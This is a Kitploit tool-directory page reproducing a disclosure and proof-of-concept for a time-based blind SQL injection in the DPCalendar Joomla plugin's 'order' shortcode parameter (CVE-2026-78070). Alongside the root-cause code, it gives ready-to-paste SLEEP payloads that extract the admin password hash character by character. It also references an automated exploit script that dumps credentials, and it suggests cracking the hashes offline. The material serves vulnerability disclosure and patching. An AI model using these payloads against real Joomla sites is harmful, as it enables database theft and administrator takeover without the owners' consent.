Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/toanln-cov/cve-2026-78070
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubtoanln-cov/cve-2026-78070

CVE-2026-78070

SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

View Repository
11h 42m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar

DPCalendar Free ≤ 10.11.2 — Author-level User Extracts Full Database via Time-Based Blind Injection

CVE CVSS CWE-89 Affected Fixed Researcher


SUMMARY

The plg_content_dpcalendar content plugin parses {{#events order="..."}}{{/events}} shortcodes embedded in Joomla article bodies. The order parameter value is passed directly to , completely bypassing the model's own whitelist. The value is then inserted into an SQL clause protected only by — insufficient against subquery injection.

EventsModel::setState('list.ordering', ...)
populateState()
ORDER BY
DatabaseDriver::escape()

An Author-level user who can create or edit articles can exploit this to exfiltrate data from the database via time-based blind SQL injection. The SQLi fires inside the attacker's own article save request — no victim interaction, no published article, and no admin involvement required.


AFFECTED VERSIONS

COMPONENTVULNERABLETESTED ONFIXED
DPCalendar Free1.0.0 – 10.11.2Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27)10.12.0

Note: This vulnerability is distinct from CVE-2026-57831 (unauthenticated SQLi in EventsModel.php via filter_created_by, fixed in v10.11.2). The present finding affects the content plugin (plg_content_dpcalendar) — a different file, different parameter, and was unpatched in the latest release at time of discovery.


VULNERABILITY DETAILS

Type: SQL Injection (CWE-89) — Time-Based Blind
Authentication required: Author role (can create/edit Joomla articles)
Endpoint: POST /index.php/submit-article?view=form&layout=edit
File: plg_content_dpcalendar/src/Extension/DPCalendar.php

Root Cause

The plugin's shortcode parser iterates over all key-value parameters in an {{#events}} tag and sets model state directly, bypassing populateState() whitelist validation entirely:

PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — VULNERABLE PARAMETER HANDLING

root@kitploit:~
foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // VULNERABLE: sets ordering state directly from user input
            // bypasses populateState() whitelist entirely
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}

The tainted value flows into EventsModel::getListQuery() with only quote-escaping applied — insufficient to block subquery injection in an ORDER BY context:

COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ORDER BY CONSTRUCTION

root@kitploit:~
$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() escapes quotes only — does NOT prevent subquery injection
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

A subquery such as (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) passes through $db->escape() unmodified because it contains no quote characters. The resulting SQL becomes:

root@kitploit:~
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 

The ORDER BY expression is only evaluated when the result set is non-empty — requiring at least one published future DPCalendar event, the standard condition for any active DPCalendar installation.

Key behavior: The SQLi fires inside the save/edit POST request itself — the timing delay is observable directly in the HTTP response (303 redirect). The attacker measures their own POST response time; no article view, page reload, or publication step is required.


PROOF OF CONCEPT

Prerequisites:

  • Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
  • Author-role account (can create/edit articles)
  • plg_content_dpcalendar plugin enabled (default on DPCalendar install)
  • At least 1 published DPCalendar event with a future start_date
  • A frontend Submit Article menu item created by the administrator

Scenario: Time-based Blind SQLi → Extract Admin Credentials

0. Pre-condition — at least one published DPCalendar event with a future start date must exist

The plugin sets filter.state = 1 and list.start-date = NOW() before building the query. ORDER BY subqueries only execute when the result set contains rows; if 0 rows match, SLEEP() is never called.

1. Log in as Author-role user

Authenticate to the Joomla frontend using an Author account. No admin access is required at any point in this attack.

2. Submit article with TRUE condition payload — observe 5-second delay

Navigate to the frontend article submission form (/submit-article). Insert the following payload in the article body and click Save:

root@kitploit:~
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}

The POST response itself is delayed ~5 seconds. onContentPrepare fires during the Joomla save pipeline, invoking the vulnerable query before the 303 redirect is issued. No article view or publication is needed.

3. FALSE condition confirms clean timing differentiation

Replace 1=1 with 1=2 (always false). SLEEP is not triggered and the response returns immediately (~100ms), confirming reliable timing separation.

root@kitploit:~
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

4. Extract admin password hash — byte by byte

Use ASCII(SUBSTRING(...)) comparisons to read each character. Single quotes must be avoided (the shortcode regex [^"\']* stops at any quote character); use decimal ASCII values instead:

root@kitploit:~
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}

Response time ~5s → TRUE → char[1] = '$' (ASCII 36 — first character of a bcrypt $2y$10$... hash).

5. Automated extraction — full admin credentials dumped

Run exploit/exploit.py to automate the byte-by-byte extraction loop:

root@kitploit:~
python3 exploit/exploit.py http://TARGET

The script logs in as Author, submits crafted payloads, and extracts username, email, and the full 60-character bcrypt password hash. Lab result confirmed: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

ConditionResponse Time
TRUE: ASCII(SUBSTR(password,1,1))=36~5,000 ms
FALSE: ASCII(SUBSTR(password,1,1))=65~100 ms

IMPACT

  1. Full database read access — An Author-level user can extract any data from the Joomla database including admin password hashes (jos_users.password), session tokens, and user emails via time-based blind SQL injection.
  2. No admin interaction required — The SQLi fires inside the attacker's own article save request. No victim needs to view or interact with any content.
  3. Minimal forensic trace — The malicious article never needs to be published. A draft article (state=0) is sufficient, leaving almost no visible evidence of the attack.
  4. Offline credential cracking — Extracted bcrypt hashes can be cracked offline with Hashcat (mode 3200) or John the Ripper, potentially leading to full administrator account takeover.

REFERENCES

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78070
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78070
  • GitHub Advisory: https://github.com/advisories/GHSA-v6xp-fwh7-w4rv
  • Vendor Repository: https://github.com/Digital-Peak/DPCalendar-Free
Download Tool